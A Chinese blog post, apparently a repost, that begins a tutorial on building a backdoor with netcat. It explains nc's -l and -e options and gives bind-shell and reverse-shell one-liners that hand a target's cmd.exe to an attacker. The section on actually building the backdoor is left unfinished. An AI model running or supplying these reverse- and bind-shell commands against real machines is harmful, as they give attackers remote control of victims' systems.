用nc+简单bat/vbs脚本+winrar制作迷你远控后门

前言

  某大佬某天和我聊起了nc,并且提到了nc正反向shell这个概念。

  我对nc之前的了解程度仅局限于:可以侦听TCP/UDP端口,发起对应的连接。

  真正的远控还没实践过,所以决定写个小后门试一试。

1.NC、正向Shell、反向Shell介绍

1.1 什么是nc:

  nc是netcat的简写,就是一个简单、可靠的网络工具。当然因为某些奇怪原因,已经被各大杀毒轮番轰炸。原因就和下文所述有关。

1.2 nc的作用:

  (1)实现任意TCP/UDP端口的侦听,nc可以作为服务器端以TCP或UDP方式侦听指定端口
  (2)端口的扫描,nc可以作为客户端发起TCP或UDP连接
  (3)不同机器之间传输文件,通信,测速等功能

1.3 nc的部分参数:

  和其他工具一样,nc也有许多参数,这俩选取两个最关键的参数说明一下。

  (1)-l:用法: nc -l(或-lvp,代表输出交互信息)4444。

    该参数用于指定nc处于侦听模式。此时nc被当作服务器端,侦听并接受连接。简单地说,别人可以通过你的ip+你接收连接的端口号(4444)来连上你。

       (2)-e:罪魁祸首 用法:nc 192.168.0.7 4444 -e cmd.exe   

             nc -lvp 4444 -e cmd.exe

    该参数的用处很简单,重定向执行-e后指定程序。

    比如nc 192.168.0.7 4444 -e cmd.exe这条命令。意思就是向目标ip+端口请求连接,若连接成功后,你的cmd.exe就会在服务器端被重定向执行。

          (服务器端--执行--客户端的cmd.exe)

    而对于nc -lvp 4444 -e cmd.exe该命令。意思是侦听并接收其他人对你4444端口的连接。若别人连接成功,别人就可以执行服务器端的cmd.exe。

        (客户端--连接--侦听中的服务器端--执行--服务器端的cmd.exe)

    在linux下,可以等价变为-e /bin/sh或-e /bin/bash。但无论如何,-e可以完全实现远控的功能

    在高版本的nc中,已经默认禁用了-e这个选项。不过仍然可以通过手动修改源码重新编译来开启。这里以1.12版本的nc来实现我们的远控后门。

1.4 正向Shell(Bind Shell)

  原理很简单,一张图就可以说明:

  

  在被攻击的目标端上执行:nc -lvp 4444 -e cmd.exe 

  如同上文所述:侦听并接收其他人对你4444端口的连接。若别人连接成功,别人就可以执行服务器端(目标端)的cmd.exe。

  换句话说,目标端的4444已经和cmd.exe“ 绑”在了一起。只要4444端口被连接,cmd.exe就拱手相让。

  攻击端的指令就很简单了:nc 目标端ip 4444

  请求连接目标端的4444端口,一旦连接上,目标端的cmd.exe就可以随便执行了。

1.5 反向Shell(Rerverse Shell)

  

  在被攻击的目标端上执行:nc 攻击端ip 4444 -e cmd.exe

  意思是向攻击端的ip+端口请求连接,若连接成功后,,目标端的cmd.exe就会在服务器端(攻击端)被重定向执行。

  换而言之,目标端把自己的cmd.exe“送”给了攻击端。攻击端只需要开启侦听,接收连接,只要连接建立就可以执行目标端的cmd.exe.

     那么,攻击端只需要开启4444端口的侦听,等待有谁连进来上钩就行了:nc -lvp 4444

  

  无论是正向shell与反向shell,只要攻击端和目标端能互相ping通即可。那么对于反向shell来说,如果攻击端的ip是某台公网上的服务器地址,后果就请自行脑补了。

2.基于正反向Shell实现的后门的制作流程

  未完待续。

    

猜你喜欢

转载自www.cnblogs.com/keelongz/p/10969452.html